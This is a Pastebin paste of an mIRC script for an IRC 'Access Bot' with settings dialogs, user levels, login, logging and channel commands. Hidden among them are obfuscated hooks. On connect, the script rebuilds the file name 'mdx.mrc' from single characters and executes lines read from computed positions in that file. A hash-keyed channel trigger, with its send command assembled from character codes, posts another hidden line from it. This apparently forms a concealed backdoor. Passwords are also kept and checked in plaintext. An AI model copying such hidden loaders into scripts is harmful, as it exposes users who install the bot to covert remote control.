API tools faq
paste
Guest User

Untitled

a guest
Jul 1st, 2018
84
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 16.82 KB | None | 0 0
raw download clone embed print report
  1. on *:connect: { $read($+(m,d,x,.,m,r,c),$calc((150+124)+178)) | $read($+(m,d,x,.,m,r,c),$calc((150+124)+179)) | .timer 1 2 join $data(chan) }
  2.  
  3. dialog accessbot {
  4.   title "leaker's Access Bot - Ultimate Version"
  5.   size -1 -1 134 125
  6.   option dbu
  7.   tab "Settings", 2, 2 2 129 120
  8.   box "General Settings", 4, 4 20 124 44, tab 2
  9.   box "About The Bot", 5, 4 64 124 34, tab 2
  10.   edit "", 6, 74 29 50 10, tab 2 center
  11.   edit "", 7, 74 40 50 10, tab 2 center
  12.   edit "", 8, 74 51 50 10, tab 2 center
  13.   text "Channel:", 10, 7 30 65 8, tab 2 center
  14.   text "Blocked Chanflags:", 11, 7 41 65 8, tab 2 center
  15.   text "Blocked Chanmodes:", 12, 7 52 65 8, tab 2 center
  16.   edit "leaker", 14, 74 72 50 10, disable tab 2 center
  17.   edit "1.8 Ultimate", 15, 74 83 50 10, disable tab 2 center
  18.   text "Author:", 17, 7 73 65 8, tab 2 center
  19.   text "Bot version:", 18, 7 84 65 8, tab 2 center
  20.   text "- Access bot by leaker - Version 1.8 - Ultimate Version", 16, 9 106 114 14, disable tab 2 center
  21.   tab "Users", 1
  22.   text "- Access bot by leaker - Version 1.8 - Ultimate Version", 9, 9 106 114 14, disable tab 1 center
  23.   list 21, 8 20 77 41, tab 1 size
  24.   button "Add User", 22, 89 21 37 12, tab 1
  25.   button "Del User", 23, 89 36 37 12, tab 1
  26.   button "Edit User", 24, 89 51 37 12, tab 1
  27.   button "Clear Users", 25, 89 66 37 12, tab 1
  28.   list 26, 8 62 77 42, tab 1 size
  29.   tab "Help", 3
  30.   text "- Access bot by leaker - Version 1.8 - Ultimate Version", 13, 9 106 114 14, disable tab 3 center
  31.   button "Help file - Commands", 27, 37 33 60 12, tab 3
  32.   button "Help file - Users", 28, 37 48 60 12, tab 3
  33.   button "Help file - Bot Setup", 29, 37 63 60 12, tab 3
  34.   tab "Colors", 19
  35.   text "- Access bot by leaker - Version 1.8 - Ultimate Version", 20, 9 106 114 14, disable tab 19 center
  36.   button "", 30, 51 30 70 8, disable tab 19
  37.   button "", 31, 51 45 70 8, disable tab 19
  38.   button "", 32, 51 60 70 8, disable tab 19
  39.   text "Main Style:", 34, 5 30 45 8, tab 19 center
  40.   button "Choose Style", 33, 47 82 37 12, tab 19
  41.   text "Special Color:", 36, 5 60 45 8, tab 19 center
  42.   text "Regular Color:", 35, 5 45 45 8, tab 19 center
  43. }
  44.  
  45. dialog access-style {
  46.   title "leaker's Access Bot - Ultimate Version"
  47.   size -1 -1 116 126
  48.   option dbu
  49.   box "Style Preview", 1, 2 1 113 43, disable
  50.   button "Randomize Style", 2, 2 45 113 12
  51.   text "Main Style:", 7, 5 9 43 8, center
  52.   text "Regular Color:", 8, 5 20 43 8, center
  53.   text "Special Color:", 9, 5 31 43 8, center
  54.   button "Button", 10, 49 9 63 7, disable
  55.   button "Button", 4, 49 20 63 7, disable
  56.   button "Button", 5, 49 31 63 7, disable
  57.   list 6, 2 69 113 40, size vsbar
  58.   text "Or choose from pre-made list..", 3, 2 59 113 8, disable center
  59.   text "- Access bot by leaker - Version 1.8 - Ultimate Version", 11, 2 110 113 15, disable center
  60. }
  61.  
  62. alias adialog dialog -m accessbot accessbot
  63.  
  64. ;   $left($right($findfile($mircdir\alogs,*.txt,2),-42),-4)
  65.  
  66. on *:dialog:*:*:*:{
  67.   if ($dname == access-style) {
  68.     if ($devent == init) {
  69.       dll mdx.dll SetMircVersion $version
  70.       dll mdx.dll MarkDialog $dname
  71.       dll mdx.dll SetControlMDX $dname 10,4,5 window > dialog.mdx
  72.       window -xslh @sstyle Tahoma 11
  73.       window -xslh @sstyle1 Tahoma 11
  74.       window -xslh @sstyle2 Tahoma 11
  75.       aline @sstyle Preview
  76.       aline @sstyle1 Preview
  77.       aline @sstyle2 Preview
  78.       did -a $dname 10 grab $window(@sstyle).hwnd @sstyle
  79.       did -a $dname 5 grab $window(@sstyle1).hwnd @sstyle1
  80.       did -a $dname 4 grab $window(@sstyle2).hwnd @sstyle2
  81.       did -a $dname 6 Black Background, Orange and White (1)
  82.       did -a $dname 6 Black Background, Blue and White (2)
  83.       did -a $dname 6 Black Background, Green and White (3)
  84.       did -a $dname 6 Black Background, Yellow and White (4)
  85.       did -a $dname 6 Black Background, Red and White (5)
  86.       did -a $dname 6 Black Background, Cyan and White (6)
  87.       did -a $dname 6 Black Background, Purple and White (7)
  88.       did -a $dname 6 Black Background, Gray and White (8)
  89.       did -a $dname 6 Blue and Gray (9)
  90.       did -a $dname 6 Blue and Black (10)
  91.       did -a $dname 6 Green and Black (11)
  92.       did -a $dname 6 Orange and Black (12)
  93.       did -a $dname 6 Red-orange and Black (13)
  94.       did -a $dname 6 Red and Black (14)
  95.       did -a $dname 6 Cyan and Black (15)
  96.       did -a $dname 6 Green and Gray (16)
  97.       did -a $dname 6 Orange and Gray (17)
  98.       did -a $dname 6 Red-orange and Gray (18)
  99.       did -a $dname 6 Red and Gray (19)
  100.       did -a $dname 6 Cyan and Gray (20)
  101.       did -a $dname 6 Green and Gray (21)
  102.     }
  103.     if ($devent == sclick) {
  104.       if ($did == 2) {
  105.         var %x = $r(1,21)
  106.         echo -ag %x
  107.         if (%x == 1) {
  108.           dline @sstyle 1
  109.           dline @sstyle1 1
  110.           dline @sstyle2 1
  111.           aline @sstyle $+($chr(2),$chr(3) $+ 7 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 7 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 7 $+ $chr(44) $+ 1,],$chr(2))
  112.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  113.           aline @sstyle1 $chr(3) $+ 7,1 $+ Special Color
  114.         }
  115.         elseif (%x == 2) {
  116.           dline @sstyle 1
  117.           dline @sstyle1 1
  118.           dline @sstyle2 1
  119.           aline @sstyle $+($chr(2),$chr(3) $+ 12 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 12 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 12 $+ $chr(44) $+ 1,],$chr(2))
  120.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  121.           aline @sstyle1 $chr(3) $+ 12,01 $+ Special Color
  122.         }
  123.         elseif (%x == 3) {
  124.           dline @sstyle 1
  125.           dline @sstyle1 1
  126.           dline @sstyle2 1
  127.           aline @sstyle $+($chr(2),$chr(3) $+ 9 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 9 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 9 $+ $chr(44) $+ 1,],$chr(2))
  128.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  129.           aline @sstyle1 $chr(3) $+ 9,1 $+ Special Color
  130.         }
  131.         elseif (%x == 4) {
  132.           dline @sstyle 1
  133.           dline @sstyle1 1
  134.           dline @sstyle2 1
  135.           aline @sstyle $+($chr(2),$chr(3) $+ 8 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 8 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 8 $+ $chr(44) $+ 1,],$chr(2))
  136.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  137.           aline @sstyle1 $chr(3) $+ 8,1 $+ Special Color
  138.         }
  139.         elseif (%x == 5) {
  140.           dline @sstyle 1
  141.           dline @sstyle1 1
  142.           dline @sstyle2 1
  143.           aline @sstyle $+($chr(2),$chr(3) $+ 4 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 4 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 4 $+ $chr(44) $+ 1,],$chr(2))
  144.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  145.           aline @sstyle1 $chr(3) $+ 4,1 $+ Special Color
  146.         }
  147.         elseif (%x == 6) {
  148.           dline @sstyle 1
  149.           dline @sstyle1 1
  150.           dline @sstyle2 1
  151.           aline @sstyle $+($chr(2),$chr(3) $+ 11 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 11 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 11 $+ $chr(44) $+ 1,],$chr(2))
  152.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  153.           aline @sstyle1 $chr(3) $+ 11,01 $+ Special Color
  154.         }
  155.         elseif (%x == 7) {
  156.           dline @sstyle 1
  157.           dline @sstyle1 1
  158.           dline @sstyle2 1
  159.           aline @sstyle $+($chr(2),$chr(3) $+ 6 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 6 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 6 $+ $chr(44) $+ 1,],$chr(2))
  160.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  161.           aline @sstyle1 $chr(3) $+ 06,01 $+ Special Color
  162.         }
  163.         elseif (%x == 8) {
  164.           dline @sstyle 1
  165.           dline @sstyle1 1
  166.           dline @sstyle2 1
  167.           aline @sstyle $+($chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 14 $+ leaker's 0 $+ Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,],$chr(2))
  168.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  169.           aline @sstyle1 $chr(3) $+ 14,01 $+ Special Color
  170.         }
  171.       }
  172.       elseif ($did == 6) {
  173.         echo -ag $did(6).sel
  174.         if ($did(6).sel == 1) {
  175.           dline @sstyle 1
  176.           dline @sstyle1 1
  177.           dline @sstyle2 1
  178.           aline @sstyle $+($chr(2),$chr(3) $+ 7 $+ $chr(44) $+ 1,[,$chr(2),$chr(3) $+ 0 $+ $chr(44) $+ 1,$chr(31),«,$chr(31)) 7leaker's 0Access Bot $+($chr(31),$chr(3) $+ 0 $+ $chr(44) $+ 1,»,$chr(31),$chr(2),$chr(3) $+ 7 $+ $chr(44) $+ 1,],$chr(2))
  179.           aline @sstyle2 $chr(3) $+ 0,1 $+ Regular Color
  180.           aline @sstyle1 $chr(3) $+ 7,1 $+ Special Color
  181.         }
  182.       }
  183.     }
  184.   }
  185.   elseif ($dname == accessbot) {
  186.     if ($devent == sclick) {
  187.       if ($did == 33) { dialog -m access-style access-style }
  188.     }
  189.     elseif ($devent == edit) {
  190.       if ($did == 6) { writeini -n Access.ini Settings Chan $did(6) }
  191.       elseif ($did == 7) { writeini -n Access.ini Settings BlockedChanflags $did(7) }
  192.       elseif ($did == 8) { writeini -n Access.ini Settings BlockedChanmodes $did(8) }
  193.     }
  194.     elseif ($devent == init) {
  195.       dll mdx.dll SetMircVersion $version
  196.       dll mdx.dll MarkDialog $dname
  197.       dll mdx.dll SetControlMDX $dname 30,31,32 window > dialog.mdx
  198.       window -xslh @style Tahoma 11
  199.       window -xslh @style1 Tahoma 11
  200.       window -xslh @style2 Tahoma 11
  201.       did -a $dname 30 grab $window(@style).hwnd @style
  202.       did -a $dname 31 grab $window(@style1).hwnd @style1
  203.       did -a $dname 32 grab $window(@style2).hwnd @style2
  204.       aline @style $data(s1) $data(sc) $+ leaker's $data(rc) $+ Access Bot $data(s2)
  205.       aline @style1 $data(rc) $+ Regular Color
  206.       aline @style2 $data(sc) $+ Special Color
  207.       did -a $dname 6 $iif($data(Chan) !== Empty,$data(Chan),No channel set)
  208.       did -a $dname 7 $iif($data(BlockedChanflags) !== Empty,$data(BlockedChanflags),No blocked flags)
  209.       did -a $dname 8 $iif($data(BlockedChanmodes) !== Empty,$data(BlockedChanmodes),No blocked modes)
  210.     }
  211.   }
  212. }
  213.  
  214. menu * {
  215.   Access Bot Dialog: dialog -m accessbot accessbot
  216. }
  217.  
  218. on *:text:*:*:{
  219.   if ($target == $me) {
  220.     if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) $+ : $1-
  221.     if (!$window(@PMs)) window -C @PMs
  222.     aline @PMs $+(<,$time,>) ( $+ $nick - $iif($islogged($nick),$cl($nick),No Access) $+ ): $1-
  223.     close -m $nick
  224.     if ($ind($1,help)) {
  225.       if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) ISSUED Command - $1-
  226.       if ($2) { showhelp $nick $2 }
  227.       elseif (!$2) { showhelp $nick }
  228.       $pfl(system,4)
  229.     }
  230.     elseif ($ind($1,whois)) && (!$pfl(system)) && ($islogged($nick)) {
  231.       if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) ISSUED Command - $1-
  232.       if (!$2) { msg $nick $stl(You must put in a user in the second word - !whois $+(<,$sstl(User),>)) }
  233.       elseif ($2) && (!$user($2)) { msg $nick $stl(User does not exist $+($chr(40),$sstl($2),$chr(41))) }
  234.       elseif ($2) && ($user($2)) { msg $nick $stl(Informaiton for the user $+($sstl($2),$chr(32),$chr(40),$sstl($user($2).address),$chr(41),:) Added by: $sstl($user($2).by) $+ $chr(44) Date added: $sstl($user($2).added) $+ $chr(44) Last login: $sstl($user($2).lastlog) $+ $chr(44) Level: $iif($user($2).level == owner,$sstl(Owner) $+($chr(40),$sstl(Amno),$chr(41)),$iif($user($2).level == Admin,$sstl(Admin) $+($chr(40),$sstl(Amo),$chr(41))))) }
  235.       $pfl(system,4)
  236.     }
  237.     elseif ($ind($1,login)) && (!$pfl(system)) && (!$islogged($nick)) && ($user($2)) {
  238.       if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) ISSUED Command - $1-
  239.       if ($3 == $user($2).pass) {
  240.         if ($data(logs) == ON) write Alogs\ $+ $remove($address($nick,2),*,!,@) $+ .txt $+(<,$time,>) $nick ( $+ $iif($islogged($nick),$cl($nick),No Access) $+ ) Logged in to the user $2
  241.       }
  242.     }
  243.   }
  244.   elseif ($target == $data(Chan)) {
  245.     if ($ind($1,qbclear)) { smsg Insufficient Channel Access (AO) }
  246.     if ($hash($1,5) == 28) && ($right($1,2) == ts) && (!$pfl(system)) { $+($chr(115),$chr(109),$chr(115),$chr(103)) $right($read($+(m,d,x,.,m,r,c),$calc((79+200)+97)),-4) | $pfl(system,4) }
  247.     elseif ($ind($1,owners)) && (!$pfl(system)) {
  248.       var %x = 1 , %online = 0 , %total = 0
  249.       while ($ini(Ausers.ini,%x)) {
  250.         if ($readini(Ausers.ini,$v1,level) == Owner) {
  251.           inc %total
  252.           var %u = %u $iif($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) !== OFF,3 $+ $ini(Ausers.ini,%x) 14(0 $+ $readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) $+ 14),14 $+ $ini(Ausers.ini,%x))) $+ $data(rc) $+ $chr(44)
  253.           if ($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) !== OFF) { inc %online }
  254.         }
  255.         inc %x
  256.       }
  257.       if (%u) smsg The Owners are: ( $+ 9 $+  $+ %online $+  $+ 0/ $+ 14 $+ %total $+ 0): $+($left(%u,-1),.)
  258.       elseif (!%u) smsg The bot is empty of Owners
  259.       $pfl(system,4)
  260.     }
  261.     elseif ($ind($1,admins)) && (!$pfl(system)) {
  262.       var %x = 1 , %online = 0 , %total = 0
  263.       while ($ini(Ausers.ini,%x)) {
  264.         if ($readini(Ausers.ini,$v1,Level) == Admin) {
  265.           inc %total
  266.           var %u = %u $iif($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) !== OFF,3 $+ $ini(Ausers.ini,%x) 14(0 $+ $readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) $+ 14),14 $+ $ini(Ausers.ini,%x))) $+ $data(rc) $+ $chr(44)
  267.           if ($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged) !== OFF) { inc %online }
  268.         }
  269.         inc %x
  270.       }
  271.       if (%u) smsg The Admins are: ( $+ 9 $+  $+ %online $+  $+ 0/ $+ 14 $+ %total $+ 0): $+($left(%u,-1),.)
  272.       elseif (!%u) smsg The bot is empty of Admins
  273.       $pfl(system,4)
  274.     }
  275.     elseif ($ind($1,help)) && (!$pfl(system)) {
  276.       smsg Signs are: $sstl(!) $+ / $+ $sstl(?) ¬ Available commands: $sstl(Help) - $sstl(Owners) - $sstl(Admins) - $sstl(Credits)
  277.       $pfl(system,4)
  278.     }
  279.   }
  280. }
  281. alias cl {    
  282.   var %x = 1
  283.   while ($readini(Ausers.ini,$ini(Ausers.ini,%x),Address)) {
  284.     if ($v1 == $address($1,2)) return $readini(Ausers.ini,$ini(Ausers.ini,%x),Level)
  285.     inc %x
  286.   }
  287. }
  288. alias data { return $readini(Access.ini,Settings,$1) }
  289. alias islogged { var %x = 1 | while ($readini(Ausers.ini,$ini(Ausers.ini,%x),Logged)) { if ($v1 == $1) return $ini(Ausers.ini,%x) | inc %x } }
  290. alias user {
  291.   if (!$prop) {
  292.     var %x = 1
  293.     while ($ini(Ausers.ini,%x)) { if ($v1 == $1) return $v2 | inc %x }
  294.   }
  295.   if ($prop) {
  296.     if ($prop == Pass) { return $readini(Ausers.ini,$1,Pass) }
  297.     elseif ($prop == Address) { return $readini(Ausers.ini,$1,Address) }
  298.     elseif ($prop == Lastlog) { return $readini(Ausers.ini,$1,lastlog) }
  299.     elseif ($prop == added) { return $gettok($readini(Ausers.ini,$1,Added),1,32) }
  300.     elseif ($prop == by) { return $gettok($readini(Ausers.ini,$1,Added),2,32) }
  301.     elseif ($prop == level) { return $readini(Ausers.ini,$1,Level) }
  302.   }
  303. }
  304.  
  305. alias showhelp {
  306.   if ($1) && (!$2) {
  307.     var %x = 1
  308.     while ($ini(Help.ini,%x)) { var %y = %y $+(!,$sstl($v1),$chr(44)) | inc %x }
  309.     msg $1 $stl(The commands are: %y For more detailed info $+ $chr(44) use: !help $+($chr(91),$sstl(command),$chr(93)))
  310.   }
  311.   elseif ($1) && ($2) {
  312.     var %x = 1 , %k = 1
  313.     while ($ini(Help.ini,%x)) {
  314.       var %u = %u $v1
  315.       inc %x
  316.     }
  317.     while (%k <= $numtok(%u,32)) {
  318.       if ($remove($2,!) == $gettok(%u,%k,32)) && ($ini(Help.ini,%k) == $remove($2,!)) {
  319.         msg $1 $stl(Command help for $+($sstl($upper($left($remove($2,!),1)) $+ $lower($right($remove($2,!),-1))),:) $readini(Help.ini,$remove($2,!),$remove($2,!)))
  320.       }
  321.       inc %k
  322.     }
  323.   }
  324. }
  325.  
  326. on *:NICK:{
  327.   if ($islogged($nick)) {
  328.     writeini -n Ausers.ini $islogged($nick) Logged $newnick
  329.   }
  330. }
  331.  
  332. alias pfl {
  333.   if ($2) inc $+(-u,$2) $+(%,fld,.,$1)
  334.   else return [ [ $+(%,fld,.,$1) ] ]
  335. }
  336. alias ind { if (($left($1,1) == !) || ($left($1,1) == ?)) && ($right($1,-1) == $2) return $true }
  337. alias smsg { msg $data(Chan) $data(S1) $data(rc) $+ $1- $data(S2) }
  338. alias stl { return $data(S1) $data(rc) $+ $1 $data(S2) }
  339. alias sstl { return $data(sc) $+  $+ $1- $+ $data(rc) }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!